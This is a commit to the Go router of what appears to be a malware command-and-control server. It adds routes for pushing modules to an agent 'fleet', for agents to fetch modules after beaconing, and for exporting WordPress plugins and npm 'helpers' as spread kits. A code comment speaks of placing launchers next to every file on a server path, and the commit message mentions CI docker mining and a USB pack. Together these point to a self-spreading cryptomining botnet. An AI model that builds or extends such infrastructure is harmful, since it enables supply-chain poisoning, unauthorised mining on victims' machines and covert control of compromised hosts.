feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

server/internal/api/router.go

@@ -571,8 +571,19 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 			r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
 			r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
 			r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
+			r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
+			r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
 		}
 
+		moduleStore := NewModuleStore(dataDir, func() string {
+			fleetSecretForAgentPathsMu.RLock()
+			s := fleetSecretForAgentPaths
+			fleetSecretForAgentPathsMu.RUnlock()
+			return s
+		})
+		moduleHandler := NewModuleHandler(moduleStore)
+		r.Get("/fleet/modules", moduleHandler.ListModules)
+
 		// Shares
 		r.Get("/shares", h.GetRecentShares)
 
@@ -597,9 +608,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		r.Post("/builder/estimate", builderHandler.ServeEstimate)
 		if spreadHandler != nil {
 			r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
+			r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
+			r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
 			r.Get("/emberwake/notes", spreadHandler.GetNotes)
 			r.Put("/emberwake/notes", spreadHandler.PutNotes)
 			r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
+			r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
 		}
 		// Path Forge: walk a local server path, place launchers next to every file
 		if pathForgeHandler != nil {
@@ -693,6 +707,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
 		r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
 		r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
+		r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
 
 		// Public builds (also bypass auth in middleware — listed here for chi routing)
 		if publicHandler != nil {